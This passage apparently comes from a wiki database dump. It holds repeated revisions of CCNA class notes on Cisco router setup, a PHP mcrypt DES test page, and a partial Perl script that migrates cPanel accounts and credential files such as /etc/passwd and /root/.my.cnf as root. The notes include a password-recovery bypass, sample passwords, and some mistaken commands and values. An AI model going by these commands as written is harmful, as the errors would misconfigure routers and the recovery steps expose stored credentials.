status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://:port number\n\n== CCNA 2 ==\n\n\nCCNA 2 NOTES:\n\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp \n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users #shows connected users and lines\n\nclear #bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27 #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 #uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route # views routing tables\n\nsh ip protocol # view info on RIP timers\n\ntracert # view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0 # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server #configures DNS server IP\nno ip domain-lookup #disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec #privileged mode\nalias configure #Global Config mode\nalias interfaces #interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0 #greps for that int \nsh run int #shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1 #defines the rule\nline vty 0 4 #selects interface \naccess-list 5 in #set ACL and direction\n\nsh access list #view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5 #removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n\n== CCNA 3 ==','utf-8'),(17,'[[image:CiscoLogo.jpeg|frame|center]]\n\n\n\n== CCNA 1 ==\n\nCCNA 1 \n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102 default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142 ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o Displays current config register\n\n>o/r 0x2142 Set to 2142 hex\n\n>I Initialize\n\nOnce in IOS:\n\nCopy star run copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run shows current passwords\n\nChange password(s)\n\nCopy run star save modified settings to NVRAM\n\nSh ver verify config register is 0x2102 now\n\nPower off and on (or reload)\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n\n\n3.Auxiliary password\n\nLine aux 0\n\n\n4.Privileged mode – level 15 commands\n\na.Enable password < > Type 7 – weak password\nb.Enable secret < > MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup (stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://:port number\n\n== CCNA 2 ==\n\n\nCCNA 2 NOTES:\n\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp \n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users #shows connected users and lines\n\nclear #bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27 #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 #uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route # views routing tables\n\nsh ip protocol # view info on RIP timers\n\ntracert # view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0 # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server #configures DNS server IP\nno ip domain-lookup #disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec #privileged mode\nalias configure #Global Config mode\nalias interfaces #interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0 #greps for that int \nsh run int #shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1 #defines the rule\nline vty 0 4 #selects interface \naccess-list 5 in #set ACL and direction\n\nsh access list #view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5 #removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n\n== CCNA 3 ==','utf-8'),(18,'__FORCETOC__ [[image:CiscoLogo.jpeg|frame|right]]\n\n Cisco Certified Network Associate\n class notes - St. Pete College \n\n\n== CCNA 1 == \n\nCCNA 1 \n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102 default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142 ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o Displays current config register\n\n>o/r 0x2142 Set to 2142 hex\n\n>I Initialize\n\nOnce in IOS:\n\nCopy star run copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run shows current passwords\n\nChange password(s)\n\nCopy run star save modified settings to NVRAM\n\nSh ver verify config register is 0x2102 now\n\nPower off and on (or reload)\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n\n\n3.Auxiliary password\n\nLine aux 0\n\n\n4.Privileged mode – level 15 commands\n\na.Enable password < > Type 7 – weak password\nb.Enable secret < > MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup (stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://:port number\n\n== CCNA 2 ==\n\n\nCCNA 2 NOTES:\n\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp \n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users #shows connected users and lines\n\nclear #bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27 #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 #uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route # views routing tables\n\nsh ip protocol # view info on RIP timers\n\ntracert # view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0 # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server #configures DNS server IP\nno ip domain-lookup #disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec #privileged mode\nalias configure #Global Config mode\nalias interfaces #interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0 #greps for that int \nsh run int #shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1 #defines the rule\nline vty 0 4 #selects interface \naccess-list 5 in #set ACL and direction\n\nsh access list #view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5 #removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n== CCNA 3 ==\n\n\nMore exciting adventures to come . . .','utf-8'),(19,'__FORCETOC__ [[image:CiscoLogo.jpeg|frame|right]]\n\n Cisco Certified Network Associate\n class notes - St. Pete College \n\n\n== CCNA 1 == \n\n\'\'\'Networking Bascis\'\'\'\n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config #clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr #to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102 default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142 #ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o #Displays current config register\n\n>o/r 0x2142 #Set to 2142 hex\n\n>I #Initialize\n\nOnce in IOS:\n\nCopy star run #copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run #shows current passwords\n\nChange password(s)\n\nCopy run star #save modified settings to NVRAM\n\nSh ver #verify config register is 0x2102 now\n\nPower off and on (or \'reload\')\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n\n\n3.Auxiliary password\n\nLine aux 0\n\n\n4.Privileged mode – level 15 commands\n\na.Enable password < > Type 7 – weak password\nb.Enable secret < > MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup (stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://:port number\n\n== CCNA 2 ==\n\n\'\'\'Routers and Routing Basics\'\'\'\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp \n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users #shows connected users and lines\n\nclear #bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27 #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 #uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route # views routing tables\n\nsh ip protocol # view info on RIP timers\n\ntracert # view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0 # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server #configures DNS server IP\nno ip domain-lookup #disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec #privileged mode\nalias configure #Global Config mode\nalias interfaces #interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0 #greps for that int \nsh run int #shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1 #defines the rule\nline vty 0 4 #selects interface \naccess-list 5 in #set ACL and direction\n\nsh access list #view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5 #removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n== CCNA 3 ==\n\n\'\'\'Switching Basics and Intermediate Routing\'\'\'\n\nMore exciting adventures to come . . .\n\n\n== CCNA 4 ==\n\n\'\'\'WAN Technologies\'\'\'','utf-8'),(20,'__FORCETOC__\n\n== Testing mcrypt ==\n\nThe script below came from http://www.herongyang.com/crypto/des_php_implementation_mcrypt.html\nand can be used to test the DES operation modes and stream cipher modes for the mcrypt library.\n\nchnmod to 755 and execute from shell with php scriptname. \n\nA sample of successful results are given below the script.\n\n\n\n\n\n
\n\nHere is a sample of successfull outpu:\n\n\n\nTest 1 - DES ECB 64-bit:\nThe key : 0123456789abcdef\nThe IV : 1234567890abcdef\nThe plaintext : 4e6f77206973207468652074696d6520666f7220616c6c20\nThe ciphertext: 3fa40e8a984d48156a271787ab8883f9893d51ec4b563b53\nThe expected : 3fa40e8a984d43156a271787ab8883f9893d51ec4b563b53\n\nTest 2 - DES CBC 64-bit:\nThe key : 0123456789abcdef\nThe IV : 1234567890abcdef\nThe plaintext : 4e6f77206973207468652074696d6520666f7220616c6c20\nThe ciphertext: e5c7cdde872bf27c43e934008c389c0f683788499a7c05f6\nThe expected : e5c7cdde872bf27c43e934008c389c0f683788499a7c05f6\n\nTest 3 - DES CFB 8-bit:\nThe key : 0123456789abcdef\nThe IV : 1234567890abcdef\nThe plaintext : 4e6f77206973207468652074696d6520666f7220616c6c20\nThe ciphertext: f31fda07011462ee187f43d80a7cd9b5b0d290da6e5b9a87\nThe expected : f31fda07011462ee187f43d80a7cd9b5b0d290da6e5b9a87\n\nTest 4 - DES OFB 8-bit:\nThe key : 0123456789abcdef\nThe IV : 1234567890abcdef\nThe plaintext : 4e6f77206973207468652074696d6520666f7220616c6c20\nThe ciphertext: f34a2850c9c64985d684ad96d772e2f243ea499abee8ae95\nThe expected : f34a2850c9c64985d684ad96d772e2f243ea499abee8ae95\n\n
\n\nOutput looks very good. All 4 test cases match the expected ciphertext message documented in http://www.itl.nist.gov/fipspubs/fip81.htm\n\n\n== Other test scripts ==\n\nMore test scripts for blowfish, etc. can be found (on cpanel boxes) at:\n\n/root/installd/buildapache/php-4.4.7/ext/mcrypt/tests\n\nSame deal - just chmod 755 and execute from shell with php testscript.php','utf-8'),(21,'== Perl script for manual Cpanel drive to drive migration ==\n\n\nThis is the perl script that Frank wrote for performing a manual migration of cpanel accounts from an old drive to a new drive.\n\nIt will also migrate other config files such as httpd, my.cnf, etc.\n\nIt was tested by him and seemed to work pretty well. \n\n\n\n#!/usr/local/bin/perl\n# Check for drive name; quit if none specified\nif (!$ARGV[0]) { \n print \"You must specify a device that contains the old filesystems\\n\"; \n print \"Usage: cpanelmigration.pl disk\\n\";\n exit 1;\n}\n\nif ($< != 0) {\n print \"You must be root to do a cPanel migration\\n\"; \n print \"Usage: cpanelmigration.pl disk\\n\";\n exit 1;\n}\n\n\n# What drive has the old install on it? It\'s the only argument we take\n# get it below \n\nprint(\"\\n\\nChecking for partitions on $ARGV[0]\\n\\nPlease wait.\\n\\n\");\n\n# Let\'s get us a list of partitions to work with\n# we\'ll be sticking them in %devicesandlabels\n# better create it.\n\nmy %devicesandlabels;\n\nopen(FDISK_L, \"/sbin/sfdisk -d $ARGV[0]|\");\n while () {\n if (/Id=83/) \n { \n ($device,$restofstring) = split; \n $label = `/sbin/e2label $device`;\n # e2label gives us output with a newline at the end\n # this makes it go away, yes, so would chomp but this\n # catches all kinds of whitespace.\n $label =~ s/\\s+$//;\n #print(\"$device has label $label\\n\");\n $devicesandlabels{$label} = $device;\n } \n }\nclose(FDISK_L); \n\n# Create our mount point\nprint(\"Creating mount point /old\\n\\n\");\nsystem(\"/bin/mkdir /old\");\n\n# Mount the filesystems and let the user know about it. \nforeach $key (sort keys %devicesandlabels) {\n system (\"/bin/mount -o ro $devicesandlabels{$key} /old$key\\n\");\n print \"Mounted $devicesandlabels{$key} on /old$key\\n\";\n}\n\n# Now that things are mounted let\'s stop some services\n@services = (\"httpd\",\"cpanel\",\"mysql\",\"named\",\"exim\");\nforeach (@services) {\n print(\"Stopping $_....\\n\\n\");\n system(\"/etc/init.d/$_ stop\");\n}\n\n\n# Let\'s move the bulk of the stuff over now\n$rsync = \"/usr/bin/rsync -vrplogDtH\";\nmy %rsyncthese;\n$rsyncthese{\"/old/etc/cpupdate.conf\"} = \"/etc\";\n$rsyncthese{\"/old/usr/local/apache\"} = \"/usr/local\";\n$rsyncthese{\"/old/var/named\"} = \"/var\";\n$rsyncthese{\"/old/home/*\"} = \"/home\";\n$rsyncthese{\"/old/usr/local/cpanel\"} = \"/usr/local\";\n$rsyncthese{\"/old/var/lib/mysql\"} = \"/var/lib\";\n$rsyncthese{\"/old/var/cpanel\"} = \"/var\";\n$rsyncthese{\"/old/usr/share/ssl\"} = \"/usr/share\";\n$rsyncthese{\"/old/var/ssl\"} = \"/var\";\n$rsyncthese{\"/old/usr/local/cpanel/3rdparty/mailman\"} = \"/usr/local/cpanel/3rdparty\";\n$rsyncthese{\"/old/var/log/bandwidth\"} = \"/var/log\";\n$rsyncthese{\"/old/usr/local/frontpage\"} = \"/usr/local\";\n$rsyncthese{\"/old/var/spool/cron\"} = \"/var/\";\n$rsyncthese{\"/old/root/.my.cnf\"} = \"/root\";\n$rsyncthese{\"/old/etc/httpd/conf/httpd.conf\"} = \"/etc/httpd/conf\";\n$rsyncthese{\"/old/etc/sysconfig/network\"} = \"/etc/sysconfig\";\n\nforeach $key (sort keys %rsyncthese) {\n print \"Moving $key to $rsyncthese{$key}\\n\";\n system(\"$rsync $key $rsyncthese{$key}\");\n}\n\n# Get a lot of important stuff from /etc\nprint(\"Moving lots of important stuff from the old /etc to the new /etc\");\nsystem(\"$rsync /old/etc/secondarymx /old/etc/domainalias /old/etc/valiases /old/etc/vfilters /old/etc/exim* /old/etc/proftpd* /old/etc/pure-ftpd* /old/etc/passwd* /old/etc/group* /old/etc/*domain* 